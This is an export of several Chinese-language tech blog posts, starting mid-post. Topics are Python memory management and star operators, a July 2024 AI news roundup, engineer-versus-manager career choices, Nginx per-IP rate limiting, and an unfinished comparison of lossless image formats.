深拷贝：复制对象，并递归地复制对象中的所有可变成员。原对象和新对象中的可变成员不共享引用。 不可变对象 不可变对象（例如元组）的元素一旦创建就不能改变。\n1\u0026gt;\u0026gt;\u0026gt; b = (\u0026#34;string\u0026#34;, 1) 2\u0026gt;\u0026gt;\u0026gt; b[0] = \u0026#34;new string\u0026#34; 3Traceback (most recent call last): 4 File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; 5TypeError: \u0026#39;tuple\u0026#39; object does not support item assignment 6\u0026gt;\u0026gt;\u0026gt; 然而，如果元组的元素是可变对象（例如列表），我们仍然可以改变这些元素：\n1a = ([1, 2, 3], \u0026#34;hello\u0026#34;) 2a[0].append(4) 3print(a) # 输出：([1, 2, 3, 4], \u0026#34;hello\u0026#34;) += 运算符 += 运算符首先创建目标对象，然后将指针重新指向该对象。对于可变对象，这会导致就地修改，而对于不可变对象，会创建一个新对象。例如：\n1my_list = [1, 2, 3] 2my_list += [4] 3print(my_list) # 输出：[1, 2, 3, 4] 然而，当我们尝试在元组中使用 += 时，会引发错误：\n1a = ([1, 2, 3], \u0026#34;hello\u0026#34;) 2a[0] += [4] # 抛出错误 前面 a[0].append(4) 可以成功是因为修改的是列表，列表是可变的。而 a[0] += [4] 失败是因为修改的是元组，元组是不可变的，所以无法重新分配指针。\n对象的标识 在编程过程中，我们常常需要确定两个对象是否是内存中同一个对象。Python 提供了两种比较方式：is 和 ==。这两者虽然都可以用于比较对象，但它们的实现机制和应用场景却有所不同。\nis 比较运算符 is 用于判断两个变量是否指向内存中的同一个对象。如果两个对象引用相同的内存地址，则返回 True；否则，返回 False。\n1a = [1, 2, 3] 2b = a 3print(a is b) # 输出：True 4 5c = [1, 2, 3] 6print(a is c) # 输出：False 我们可以通过 Python 的内置函数 id 来理解这一点。id 函数返回对象的唯一标识符，对于同一个对象，其标识符在其生命周期内是唯一且不变的。\n例如：\n1a = [\u0026#34;a\u0026#34;, \u0026#34;list\u0026#34;] 2b = a 3print(id(a)) # 输出：139865338256192 4print(id(b)) # 输出：139865338256192 在上述代码中，a 和 b 指向同一个列表对象，因此它们的 id 值相同。\n再来看一个例子：\n1c = a.copy() 2print(id(a)) # 输出：139865338256192 3print(id(c)) # 输出：不同的值 在这里，a.copy() 创建了一个新的列表对象，因此 a 和 c 的 id 值不同。\n== 比较运算符 与 is 不同，== 用于判断两个对象的值是否相等。这意味着，即使两个对象在内存中是不同的实例，只要它们的内容相同，== 比较也会返回 True。\n例如：\n1a = [\u0026#34;my\u0026#34;, \u0026#34;list\u0026#34;] 2b = a 3c = a.copy() 4 5print(a == b) # 输出：True 6print(a is b) # 输出：True 7 8print(a == c) # 输出：True 9print(a is c) # 输出：False 从上面的例子中可以看出，虽然 a 和 c 是不同的对象（即 a is c 为 False），但它们的内容相同，因此 a == c 为 True。\n__eq__和 ==方法 在 Python 中，== 运算符的行为由对象的 __eq__ 方法决定。我们可以通过覆盖 __eq__ 方法来定制对象的等价性判断。\n例如：\n1class MyClass: 2 def __eq__(self, other): 3 return self is other 4 5a = MyClass() 6b = MyClass() 7 8print(a == b) # 输出：False 9print(a == a) # 输出：True 在这个例子中，我们自定义了 __eq__ 方法，使其使用 is 运算符来比较对象。\n自定义等价性 通过自定义 __eq__ 方法，我们可以创建更复杂的等价性判断逻辑。例如，我们可以创建一个始终返回 True 的类：\n1class MyAlwaysTrueClass: 2 def __eq__(self, other): 3 return True 4 5a = MyAlwaysTrueClass() 6b = MyAlwaysTrueClass() 7 8print(a == b) # 输出：True 9print(a == \u0026#34;some string\u0026#34;) # 输出：True 这种方法虽然灵活，但也可能导致意外的行为，例如：\n1class MyAlwaysFalseClass: 2 def __eq__(self, other): 3 return False 4 5a = MyAlwaysFalseClass() 6print(a == a) # 输出：False 在这个例子中，即使比较对象是同一个实例，== 运算符也会返回 False。\n如果你对本系列感兴趣，请继续关注后续的内容！\n对象的生命周期 每个对象都有其生命周期，从创建到最终被删除。了解对象的生命周期有助于优化内存使用，避免内存泄漏等问题。在 Python 中，对象的生命周期主要由两个机制决定：引用计数和垃圾回收。\n引用计数 Python 使用引用计数来跟踪对象的使用情况。当一个对象被创建时，其引用计数被设置为 1。每当一个新的引用指向该对象时，引用计数加 1；当一个引用被删除或改为指向其他对象时，引用计数减 1。当引用计数降为 0 时，该对象的内存将被释放。\n例如：\n1a = [] 2b = a 3del a # 引用计数减 1 4del b # 引用计数减 1，引用计数为 0，对象被删除 引用计数简单高效，但无法处理循环引用问题。为了解决这一问题，Python 引入了垃圾回收机制。\n循环引用 循环引用是指多个对象相互引用，导致它们的引用计数无法降为 0，进而无法被释放。例如：\n1a = [] 2b = [a] 3a.append(b) 在上述代码中，a 和 b 形成了循环引用，即使删除所有外部引用，这两个对象的引用计数仍然不为 0。\n垃圾回收 为了解决循环引用问题，Python 引入了垃圾回收机制。垃圾回收器会定期检查对象图，找出并清除不可达的循环引用对象。\n垃圾回收的工作原理 垃圾回收器会维护一个对象图，并通过以下步骤清理内存：\n标记阶段：标记所有可达对象。 清除阶段：清除所有未标记的对象。 通过这种方式，垃圾回收器能够有效地处理循环引用，释放被占用的内存。\n调用垃圾回收器 垃圾回收器通常会自动运行，但我们也可以手动调用 gc 模块来触发垃圾回收。例如：\n1import gc 2gc.collect() 处理复杂的对象关系 在复杂的对象关系中，垃圾回收器的作用尤为重要。以下是一个示例，展示了如何使用 gc 模块来检测和处理循环引用：\n1import gc 2 3class MyClass: 4 def __init__(self, name): 5 self.name = name 6 print(f\u0026#34;Created {self.name}\u0026#34;) 7 8 def __del__(self): 9 print(f\u0026#34;Deleted {self.name}\u0026#34;) 10 11a = MyClass(\u0026#34;Object A\u0026#34;) 12b = MyClass(\u0026#34;Object B\u0026#34;) 13a.b = b 14b.a = a 15 16del a 17del b 18 19gc.collect() 在这个示例中，a 和 b 形成了循环引用，无法通过引用计数自动删除。调用 gc.collect() 后，垃圾回收器会检测到循环引用并清除对象。\n__del__方法 Python 提供了 __del__ 方法（也称为析构函数）来定义对象被删除前的清理操作。__del__ 方法在对象被垃圾回收器回收前调用，用于执行必要的清理操作，如关闭文件、释放资源等。\n例如：\n1class MyClass: 2 def __init__(self, name): 3 self.name = name 4 5 def __del__(self): 6 print(f\u0026#34;Deleting {self.name}\u0026#34;) 7 8a = MyClass(\u0026#34;Object A\u0026#34;) 9del a # 输出：Deleting Object A 需要注意的是，__del__ 方法在处理循环引用时可能不会被调用。因此，推荐使用上下文管理器（with 语句）来管理资源，以确保资源被正确释放。\n结论 本文介绍了 Python 中指针的基本概念及其在内存管理中的应用。探讨了 Python 中的对象生命周期及垃圾回收机制。理解这些概念对于编写高效且内存友好的代码至关重要。在实际开发中，我们应当结合引用计数和垃圾回收机制，合理管理对象的生命周期，避免内存泄漏和性能问题。\n通过掌握这些知识，开发者可以更好地优化 Python 程序的内存使用，提高代码的稳定性和效率。希望本系列文章对大家有所帮助，感谢阅读！\n","date":"2024-07-30T03:51:26Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-30-python-nei-cun-guan-li-tan-mi/cover.jpg","permalink":"/p/2024-07-30-python-nei-cun-guan-li-tan-mi/","title":"Python 内存管理探秘"},{"content":"\n在 Python 编程中，星号（*）和双星号（**）操作符不仅仅用于乘法运算。它们在函数定义、函数调用、列表和字典构造等方面具有特殊的含义和功能。本文将深入探讨这些用法，帮助你更好地理解和运用这些操作符。\n一、函数中的*args和**kwargs 1. *args在函数定义中的使用 最广为人知的星号用法是作为函数的参数，允许函数接受可变数量的参数。例如，我们有一个函数用于将两个数相加：\n1def add(number_1, number_2): 2 return number_1 + number_2 3 4print(add(1, 2)) # 输出 3 如果我们想让这个函数接受任意数量的参数，可以在参数名前加一个星号：\n1def add(*numbers): 2 total = 0 3 for number in numbers: 4 total += number 5 return total 6 7print(add(1, 2, 3, 4)) # 输出 10 在这里，numbers是一个元组，包含了所有传入的参数。\n2. 在函数调用中使用* 除了在函数定义中使用星号，我们还可以在函数调用中使用它。假设有一个函数需要三个参数：\n1def add(number_1, number_2, number_3): 2 return number_1 + number_2 + number_3 如果我们有一个包含三个元素的列表，可以这样调用函数：\n1my_list = [1, 2, 3] 2add(*my_list) # 等同于 add(1, 2, 3) 3. **kwargs在函数定义中的使用 双星号（**）操作符用于处理关键字参数，允许我们传递任意数量的关键字参数给函数。例如：\n1def change_user_details(username, **kwargs): 2 user = get_user(username) 3 for attribute, value in kwargs.items(): 4 setattr(user, attribute, value) 在这里，kwargs是一个字典，包含了所有传入的关键字参数。\n4. 在函数调用中使用** 同样，我们可以在函数调用时使用双星号操作符传递字典参数：\n1details = { 2 \u0026#39;email\u0026#39;: \u0026#39;example@example.com\u0026#39;, 3 \u0026#39;phone\u0026#39;: \u0026#39;123456789\u0026#39; 4} 5change_user_details(\u0026#39;username\u0026#39;, **details) 二、限制函数调用方式 1. 仅允许关键字参数 在函数定义中单独使用星号可以限制函数只能使用关键字参数：\n1def my_function(*, keyword_arg_1): 2 ... 调用时，如果使用位置参数，将会抛出错误：\n1my_function(1) # TypeError: my_function() takes 0 positional arguments but 1 was given 2. 仅允许位置参数 可以使用斜杠（/）来限制函数仅接受位置参数：\n1def only_positional_arguments(arg1, arg2, /): 2 ... 调用时，如果使用关键字参数，将会抛出错误：\n1only_positional_arguments(arg1=1, arg2=2) # TypeError 三、在列表和字典构造中的使用 1. 构造列表 星号操作符不仅可以在函数中使用，还可以用于构造列表。例如，合并两个列表并插入一个值：\n1my_list_1 = [1, 2, 3] 2my_list_2 = [10, 20, 30] 3some_value = 42 4merged_list = [*my_list_1, some_value, *my_list_2] 5# 输出 [1, 2, 3, 42, 10, 20, 30] 2. 构造字典 双星号操作符可以用于合并字典：\n1social_media_details = {\u0026#39;twitter\u0026#39;: \u0026#39;username\u0026#39;} 2contact_details = {\u0026#39;email\u0026#39;: \u0026#39;example@example.com\u0026#39;} 3user_dict = {\u0026#39;username\u0026#39;: \u0026#39;user\u0026#39;, **social_media_details, **contact_details} 4# 输出 {\u0026#39;username\u0026#39;: \u0026#39;user\u0026#39;, \u0026#39;twitter\u0026#39;: \u0026#39;username\u0026#39;, \u0026#39;email\u0026#39;: \u0026#39;example@example.com\u0026#39;} 四、列表解构 星号操作符还可以用于列表解构，允许将列表的部分元素赋值给不同的变量：\n1my_list = [1, 2, 3, 4, 5] 2a, *b, c = my_list 3# a -\u0026gt; 1 4# b -\u0026gt; [2, 3, 4] 5# c -\u0026gt; 5 在这个例子中，a获取列表的第一个元素，c获取最后一个元素，而b获取中间的所有元素。\n结语 星号和双星号操作符在 Python 中有着广泛的应用，从函数定义到列表和字典的操作。理解并掌握这些用法，将帮助你写出更灵活和简洁的代码。希望这篇文章能为你提供清晰的指导，帮助你更好地利用这些强大的工具。\n如果你想了解更多关于 Python 编程的技巧和知识，欢迎订阅我的微信公众号。\n","date":"2024-07-28T01:46:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-28-li-jie-python-zhong-de-xing-hao-yong-fa/cover.jpg","permalink":"/p/2024-07-28-li-jie-python-zhong-de-xing-hao-yong-fa/","title":"理解 Python 中的星号用法"},{"content":"\n一、OpenAI 发布 GPT-4o Mini OpenAI 发布了新的小型 AI 模型——GPT-4o Mini。该模型比前代产品更小、更快且成本效益更高。GPT-4o Mini 在文本和视觉推理任务上表现出色，适用于开发者和消费者。其性能超过了其他小型模型，如 Gemini 1.5 Flash 和 Claude 3 Haiku，并且运行成本比 GPT-3.5 Turbo 降低了 60%以上。企业用户可以通过新工具实现合规性要求。\n二、Meta 发布 Llama 3.1 Meta 推出了开源的最大 AI 模型——Llama 3.1。该模型拥有 4050 亿参数，使用超过 16000 个 Nvidia H100 GPU 进行训练，开发成本数百万美元。Llama 3.1 性能超过了顶级私有模型，如 GPT-4o 和 Claude 3.5 Sonnet，并具有高性价比。Meta 通过开源许可证发布 Llama 3.1，希望能像 Linux 一样成功，促进开发者定制和部署。Meta 预计开源 AI 将引领未来的发展。\n三、Hugging Face 推出 SmoLLM Hugging Face 推出了新系列的小型语言模型——SmoLLM，包括 130M、350M 和 1.7B 参数版本。SmoLLM 设计用于本地设备，减少对云资源和能源的依赖，提升数据隐私和成本效益。该系列模型在各自参数范围内表现优于现有模型，强调 Hugging Face 对透明性和开源资源的承诺。\n四、YouTube 数据用于 AI 训练 证据显示，包括苹果、Anthropic、Nvidia 和 Salesforce 在内的大型科技公司在未经许可的情况下，使用了包含超过 17 万个 YouTube 视频字幕的数据集进行 AI 系统训练。这种行为引发了伦理和法律问题，特别是违反了 YouTube 服务条款。尽管如此，公司仍未具体说明其数据来源，此事件突显了 AI 训练数据使用中的透明度问题。\n五、其他 AI 新闻 工具更新 OpenAI 发布了新的 Sora 视频，展示了模型的强大功能。 Mistral AI 和 NVIDIA 推出了企业 AI 模型 Mistral NeMo 12B，具有高度准确性和灵活性。 Anthropic 发布了 Claude 安卓应用，增强了 AI 聊天机器人的可访问性。 Mistral 发布了 Codestral Mamba，以提高程序员的效率和速度。 Helm.ai 推出了 VidGen-1 视频生成模型，用于自动驾驶车辆和机器人。 Haiper 1.5 挑战 Sora 和 Runway，推出更长视频片段和图像生成功能。 谷歌开源了 Project Oscar 平台，帮助软件团队监控问题。 Salesforce 推出了 Einstein Service Agent，为客户提供 AI 自助服务。 微软的 Designer 应用现在在 iOS 和 Android 上可用，提供 AI 编辑和创建功能。 Spotify 推出了西班牙语版 AI DJ 功能，为用户提供个性化音乐推荐。 谷歌推出了 Vids 生产力应用，用于创建 AI 生成的视频演示。 商业动态 台积电二季度收入大幅增长，超出市场预期，主要受 AI 应用需求推动。 谷歌和微软向中国公司提供 Nvidia 的 AI 芯片，通过位于中国以外的数据中心服务。 OpenAI 正与 Broadcom 等芯片设计公司谈判，开发新的 AI 服务器芯片。 前 Tesla 和 OpenAI 的 AI 主管 Andrej Karpathy 推出 Eureka Labs，旨在应用 AI 助手于教育领域。 富士通与 Cohere 合作，为日本企业开发安全的生成式 AI 解决方案。 Menlo Ventures 和 Anthropic 联手成立 1 亿美元的 AI 基金，支持 AI 初创公司。 顶级科技公司组成联盟，制定 AI 安全标准，确保网络安全。 迪士尼音乐集团与 AudioShake 合作，利用 AI 分离经典歌曲的音轨和歌词转录。 软银收购英国 AI 芯片制造商 Graphcore，交易条款未公开。 三星将推出升级版的 Bixby 语音助手，集成自有 AI 模型。 研究进展 DeepMind 推出了 PEER 架构，将 MoE 模型扩展到数百万专家，提高了大型语言模型的性能。 Qwen2 技术报告介绍了最新的大型语言和多模态模型，在多种基准测试中表现出色。 OpenAI 正在秘密开发名为 Project Strawberry 的新推理技术，旨在使 AI 模型进行自主研究。 Datadog 开发了 Toto 模型，成为时间序列预测的新基准。 SpreadsheetLLM 提出了高效编码方法 SheetCompressor，提升了电子表格任务的性能。 MambaVision 提出了一种新的混合视觉主干网络，在图像分类任务中表现优异。 Husky 是一种统一的开源语言代理，在解决复杂推理问题上优于现有模型。 LMMS-EVAL 引入了一个统一的多模态基准框架，解决了大规模多模态模型评估的挑战。 Transformer 层作为画家，研究了通过重组预训练 Transformer 层中的信息提高模型使用效率的方法。 Magpie 提出了一种从对齐的大型语言模型中提取高质量指令数据的方法。 GraphFM 是一种多图预训练的可扩展框架，但具体细节尚未公开。 担忧和政策 英国监管机构调查微软雇佣 AI 初创公司创始人及其关键员工的行为，担忧可能引发市场竞争问题。 AI 自主武器进入战场，引发了对其潜在威胁的担忧。 骗子利用普通人的股票视频和照片进行加密货币交易所的身份验证欺诈。 特朗普的盟友起草了一项 AI 行政命令，旨在为国防领域启动类似于曼哈顿计划的大型项目。 Meta 效仿苹果，限制其即将发布的 AI 模型在欧盟国家的发布，以应对欧盟的严格法规。 结语 总的来说，最近在 AI 领域的进展迅速而广泛。无论是新模型的发布、开源资源的推出，还是在商业和政策方面的动向，都表明 AI 正在以更快的速度和更广泛的应用影响我们的生活和工作。科技公司之间的竞争与合作，以及对数据使用和安全的持续关注，将继续塑造未来 AI 的发展路径。\n","date":"2024-07-26T14:12:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-26-zui-jin-ai-fa-zhan-dong-tai-gpt-4o-mini-llama-3-1-he-smollm-/cover.jpg","permalink":"/p/2024-07-26-zui-jin-ai-fa-zhan-dong-tai-gpt-4o-mini-llama-3-1-he-smollm/","title":"最近 AI 发展动态 - GPT-4o Mini、Llama 3.1 和 SmoLLM 等"},{"content":"从管理回到工程师岗位的焦虑 焦虑的来源 许多首次担任管理职位的工程师在考虑是否返回工程师角色时，常常会有这样的疑问：“我还能再有机会做管理吗？”这种焦虑的根源在于他们担心可能失去了唯一的管理机会，并且未来可能再也无法重返管理岗位。\n回到工程师岗位的原因 工程师决定回到技术岗位的原因多种多样。有的人可能是因为管理工作带来的倦怠，有的人是因为管理文化有毒，或者因为家庭原因希望回到更熟悉的岗位。也有的人希望通过重拾技术技能来增强自身的长期就业能力。\n技能的不可磨灭性 事实上，一旦你成为了一名经理，你的管理技能和经验将永远伴随你。这种技能在你作为个体贡献者(IC)时也会有所体现，使你在优先级管理、商业需求洞察以及沟通能力等方面表现得更加出色。因此，即使你回到工程师岗位，你的管理才能也不会被忽视，未来你仍有很多机会重返管理岗位。\n从工程师回到管理岗位的焦虑 技术技能的流失 与管理技能不同，工程师的技术技能会随着时间的推移而逐渐退化。这种担忧是合理的，尤其是当技术语言、框架和技术不断更新时。这意味着如果你希望回到工程师岗位，就需要有策略地保持和提升自己的技术能力。\n保持技术能力的建议 为了确保你的技术能力不过时，建议在接受管理职位之前，至少有五到七年的编码和项目交付经验。当你成为经理后，可以在两到三年的时间内坚持这份工作，以便深入学习和掌握管理技能。如果在管理岗位工作超过五年，重返技术岗位可能会变得更加困难，但通过合理的规划和持续的技术学习，这仍然是可行的。\n技术流畅度与工作安全感 保持技术流畅度的重要性 保持技术能力不仅能够让你在工程师和经理角色之间自由切换，还能增强你的工作安全感和选择的灵活性。高级软件工程师的就业机会非常多，而管理岗位的机会相对较少。因此，保持技术能力可以为你提供更多的职业选择和更大的安全感。\n职业选择的平衡 随着职业生涯的发展，职位越高，薪酬越高，但相应的职位机会也越少。因此，保持技术能力是一种对冲职业不确定性的有效方法，可以让你在高层管理职位和技术岗位之间自由选择。\n从管理到工程师的角色转换策略 持续学习和适应 要顺利从管理角色转换回工程师岗位，必须持续学习和适应新的技术和工具。技术行业发展迅速，不断学习新知识和技能是保持竞争力的关键。\n利用业余时间提升技能 充分利用业余时间参与开源项目、在线课程或技术社区活动，可以帮助你保持技术敏锐度，并在职业生涯的不同阶段灵活应对角色转换。\n与技术团队保持联系 作为经理，保持与技术团队的紧密联系也很重要。了解他们的工作内容、技术挑战和解决方案，这有助于你更好地理解当前的技术趋势，并在需要时迅速切换到工程师角色。\n工程师与管理角色的共存 混合角色的优势 有些人发现，他们既能享受工程师的技术工作，又能从事管理职责，这种混合角色可以提供双重满足感。例如，技术领导（Tech Lead）或团队负责人（Team Lead）就是典型的混合角色，既需要管理团队，又需参与实际的技术工作。\n职业路径多样化 选择混合角色有助于职业路径多样化，使你能在技术和管理两方面都积累经验和技能。这种多样化的经验不仅提升了个人能力，还增加了职业生涯中的灵活性和安全感\n职业发展的持续提升 个人品牌建设 无论是技术岗位还是管理岗位，建立个人品牌都非常重要。通过分享专业知识、参与行业活动和撰写技术文章，可以提升个人在行业内的知名度和影响力。\n社交网络的利用 积极利用社交网络，与行业内的专业人士建立联系，获取最新的行业动态和职业机会。这不仅有助于职业发展，还可以为未来的角色转换提供支持和帮助。\n未来展望 技术与管理的融合 随着科技的发展，技术和管理的界限越来越模糊。未来，更多的职业可能会要求兼具技术和管理能力，这为工程师和管理者提供了更多的机会和挑战。\n终身学习 在技术与管理角色之间转换，需要不断地学习和提升自己。终身学习的理念将在未来变得越来越重要，只有不断适应变化，才能在职场中保持竞争力。\n通过这篇深入探讨工程师与管理角色转换的文章，我们希望能够为正在经历或准备经历这种转换的专业人士提供有价值的参考和指导。职业生涯充满了各种可能性和挑战，只有不断学习和适应，才能走出一条适合自己的成功之路。\n","date":"2024-07-25T02:24:27Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-25-dui-yu-zuo-ji-shu-zhuan-jia-hai-shi-zuo-guan-li-de-shuang-ch/cover.jpg","permalink":"/p/2024-07-25-dui-yu-zuo-ji-shu-zhuan-jia-hai-shi-zuo-guan-li-de-shuang-ch/","title":"对于做技术专家还是做管理的双重焦虑"},{"content":"闲白 说到限流，大家一定能想到很多算法，比如 令牌桶 、漏桶 、计数器限流、 信号量 等等。解决方案也有很多，以 java 为例，Guava 库中的 RateLimiter 类 可以实现，Semaphore 类也可以实现。再复杂点儿，比如你是一个分布式微服务系统，可以上 Hystrix、Resilience4j 这种现成的方案。\n从系统架构上来说，无非是在单体应用的当前进程中实现，还是分布式应用的非当前进程中之实现。当然还有另一种方案，就是不在业务应用中实现，而是把这种跟业务不那么紧耦合的功能抽象出去，在网络层面对所有进入系统的请求进行统一的限流控制，这种方式的好处是可以避免每个微服务都实现自己的限流逻辑。\n现在很多 API 网关，尤其是新晋的 “云原生” 网关都具备这个功能（基本是标配），比如：Zuul、Kong、Ambassador、APISIX 等。\n我们先不论系统是不是分布式微服务的，就单说限流这个事儿，其实也完全可以用 API 网关的思路来实现。就是我不用非要把代码写在应用中，如果我就是不想改代码呢？我想随时调整个限流策略还得重启应用？应用那么重，生效时间那么长，我可不想重启！\n所以我们回头看看自己架构中的这些软件，一定能想到这位老朋友 Nginx 。当然无论是原味的 Nginx 还是跟它有血缘关系的 openResty 都一样。\n想像一下，用 nginx 配置一下然后 nginx -s reload 就能搞定了，岂不痛快 ？!\n正题 下文我们开始介绍在 nginx 怎么配置能实现针对某些（讨厌的）ip 进行限流，且不影响系统正常运行。（感叹：nginx 是个好东西！！！）\n可能有些朋友看到标题就已经开始写 prompt 了，喝着 coffee 等着 AI 给你一行行输出答案，然后心里想：“什么年代了，大哥，还用写个文章专门说这事儿吗？你得学会用工具呀” 。\n我想说的是，关于这个问题 AI 能给你回答对 90% 的内容，剩下的 10% 你得自己改。开发同学都知道 ，别说 10% 了，0.1% 不对，程序也不 work 呀。我是不会告诉你我花了一下午时间跟 AI 都聊了什么的。因为那显得我很弱智。\n你也别抬杠说我用的工具不对，市面上但凡有的我都用了，真不行，所以我觉得还是值得写一下的。\n配置详解 其实改的地方不多，首先我们要在 nginx 默认配置文件的 http 下面配置：\n1 geo $limit_ip { 2 default 0; # 默认为 0，表示不受限制 3 1.2.3.4 1; # 需要被限制的 IP 4 # 添加更多需要限制的 IP 地址 5 } 6 7 map $limit_ip $limit_key { 8 0 \u0026#34;\u0026#34;; 9 1 $binary_remote_addr; 10 } 11 12 # 定义限流区域 13 limit_req_zone $limit_key zone=mylimit:10m rate=2r/s; 我们解释一下。\ngeo 指令：\ngeo 名字来源于“geographic”，意指地理位置。但是值得注意的是，geo 指令实际上只基于 IP 地址进行匹配，而 IP 地址与地理位置之间的映射需要额外的数据库或服务来提供。许多第三方服务和数据库（如 MaxMind GeoIP、GeoLite2 等）可以用来更精确地将 IP 地址转换为地理位置信息。\n解释一下我们上文中中 geo 的配置：\ngeo $limit_ip { ... }：定义了一个名为 $limit_ip的变量，用于根据客户端 IP 地址设置不同的值。 default 0;：默认情况下，如果客户端 IP 地址不在列表中，$limit_ip 的值为 0。 1.2.3.4 1;：如果客户端 IP 地址是 1.2.3.4，则 $limit_ip 的值为 1。这里的 1 是一个标记，表示这个 IP 地址需要被限制。 总结来说就是用 geo 指令标记需要限制的 IP 地址\nmap 指令：\nmap $limit_ip $limit_key { ... }：根据$limit_ip的值来设置另一个变量$limit_key。 0 \u0026quot;\u0026quot;;：如果$limit_ip的值为 0（即默认情况），则$limit_key的值为空字符串。 1 $binary_remote_addr;：如果$limit_ip的值为 1（即被标记的 IP 地址），则$limit_key的值为客户端 IP 地址的二进制形式（$binary_remote_addr）。 不知道聪明的你看出来没有，我们这里其实设置的是 “黑名单” （即我想限制哪些 ip 我就配置哪些，剩下的不限制），在 geo 配置的 ip 到了 map 这里以后，将这些 IP 地址映射到了一个变量上，即 limit_key 。如果你想设置白名单（即我想让哪些 ip 不被限制我就配置哪些，剩下的都限制）不就是反过来操作嘛。\n举个白名单的例子：\n1geo $limit { 2 default 1; 3 10.0.0.0/8 0; 4 192.168.0.0/24 0; 5 172.20.0.35 0; 6} 7map $limit $limit_key { 8 0 \u0026#34;\u0026#34;; 9 1 $binary_remote_addr; 10} limit_req_zone 接着是整块配置的最后一行。\n1limit_req_zone $limit_key zone=mylimit:10m rate=2r/s; 使用 limit_req_zone 指令定义了一个限流区域，对标记的 IP 地址进行请求速率限制。如果一个 IP 地址不在 geo 指令中定义，则不受限制。如果一个 IP 地址被标记，则它的请求速率会被限制在每秒 2 个请求。\n$limit_key：使用$limit_key 变量作为限流的键。 zone=mylimit:10m：设置共享内存区域的大小为 10MB，用于存储限流信息。 rate=2r/s：设置每个键值（即每个 IP 地址）的请求速率限制为每秒 2 个请求。 其实这些指令都有一些详细参数，简单起见，我就不介绍了，都有 AI 了，需要的话自己查吧。我们说点儿重点。\n我猜你可能关心 zone=mylimit 里面到底是什么样的，里面到底有啥 。是的，这很重要，了解清楚 zone 的结构很关键，关于 zone 的数据我没细看过，但结构大致类似这样：\n1{ 2 \u0026#34;mylimit\u0026#34;: { 3 \u0026#34;123.124.210.242\u0026#34;: { 4 \u0026#34;current\u0026#34;: 0, // 当前请求计数 5 \u0026#34;last\u0026#34;: 1618305483, // 上次请求的时间戳 6 \u0026#34;tokens\u0026#34;: 2, // 当前令牌桶中的令牌数 7 \u0026#34;delay\u0026#34;: 0 // 由于限流导致的延迟（秒） 8 }, 9 // ... 其他被限流的 IP 地址信息 10 \u0026#34;192.168.1.100\u0026#34;: { 11 \u0026#34;current\u0026#34;: 1, 12 \u0026#34;last\u0026#34;: 1618305495, 13 \u0026#34;tokens\u0026#34;: 1, 14 \u0026#34;delay\u0026#34;: 0 15 } 16 } 17} 好了，到这里我们第一部分的配置就结束了，是不很简单？然后我们进行第二部分的配置，也很简单。\n前文我们第一部分的配置只是定义了一个限流的策略，我们还没应用呢呀。所以我们要在需要的地方把它用起来。\n很简单，在需要限流的 location 中这样写：\n1 location /abc/api { 2 limit_req zone=mylimit; 3 } 没了？就一句？\n对，没了。是不很简单？简单到我都不想解释，如果你理解了前文你就懂了，我就不解释了。毕竟你会用 AI 不是。\n然后你就可以重新加载配置，或重启 nginx 了。再然后你就要耐心等待和观察，等待之前那些讨厌的恶意 ip 再次造访，顺利地话你会在 nginx 的 error 日志中看到类似这样的信息 ：\n1... [error] ..limiting requests,excess:0.996 by zone \u0026#34;mylimit\u0026#34;, client:1.2.3.4 ... ","date":"2024-07-23T14:10:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/cover.jpg","permalink":"/p/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/","title":"nginx 如何做针对 ip 的限流"},{"content":"在数字时代，图像质量和压缩效率成为了关键问题。本文对比了四种主流的无损图像格式：PNG、WebP、AVIF 和 JPEG XL，探讨它们在压缩效率、编码速度和使用场景等方面的优劣。\n什么是无损压缩？ 无损压缩是一种在不损失任何数据的情况下减少文件大小的方法。常见的无损压缩格式包括 ZIP 和 RAR。在 Web 环境中，GZIP 压缩通常用于缩小 JavaScript 和 CSS 文件。在图像压缩领域，PNG 是一种广为人知的无损格式。\n无损压缩的替代方法是有损压缩，在压缩照片时经常使用。JPEG 可能是最著名的有损图像格式。有损压缩会丢弃图像中的一些细节，从而导致文件大小显著减小。由于大照片太大而无法传输和存储，因此损失一些质量通常是一个很好的权衡。\n何时使用无损压缩？ 虽然像 JPEG 和 WebP 这样的有损图像格式对照片来说很好，但对图形来说就不那么好了。压缩失真（如块效应和模糊）在这类图像上很容易看出来。\n无损图像压缩在处理包含大量连续颜色区域的图像时效果最佳，比如标志、截图、图表和图形。这类图像用无损压缩算法压缩往往能得到更小的文件大小，同时保持高质量。\n无损压缩效果良好的图像示例。PNG 形式的回收符号占用 3 KB。相同文件大小的 JPEG 具有明显的压缩失真。具有最高质量的 JPEG 看起来与 PNG 相同，但大小是 PNG 的八倍。\nPNG PNG （Portable Network Graphics） 即便携式网络图形。\n是一种老牌的无损图像格式，于1996年首次发布。它作为 GIF 格式的替代品出现，具有许多优势，如支持 24 位颜色和透明通道。PNG 使用 DEFLATE 压缩算法，并支持多种压缩优化工具，如 PNGOUT、OptiPNG 和 OxiPNG。\n所有浏览器都支持 PNG 格式。\nWebP Google 于 2010 年推出了基于 VP8 视频编解码器的 WebP 作为有损图像格式。2012年发布的WebP 0.3引入了无损模式，与VP8编解码器无关。有损 WebP 仅限于 4:2:0 色度子采样，会丢弃一些颜色信息，而无损 WebP 将保留所有原始图像数据。\n直到 2020 年，Apple 的 Safari 浏览器还是唯一抵制 WebP 的浏览器。不过到了 2021 年，所有主要浏览器均支持 WebP。\nAVIF AVIF 代表 AV1 图像文件格式。它是一种新的图像格式，基于 AV1 视频编解码器。它具有许多高级功能，例如支持高位深度和 HDR。该格式支持无损和有损压缩。\n最新版本的 Google Chrome 支持 AVIF，并且可以通过使用配置标志在 Firefox 中启用。\nJPEG XL JPEGXL JPEG XL 是一种即将推出的新图像格式。JPEG XL 是通过结合两种现有的图像格式而开发的，即 Google 开发的 Pik 图像格式和 Cloudinary 开发的 FUIF（免费通用图像格式）。\nChrome 和 Firefox 支持 JPEG XL，但默认情况下不启用。必须使用功能标志来启用对该格式的支持。\n对比结果 文件大小 编码速度 总结 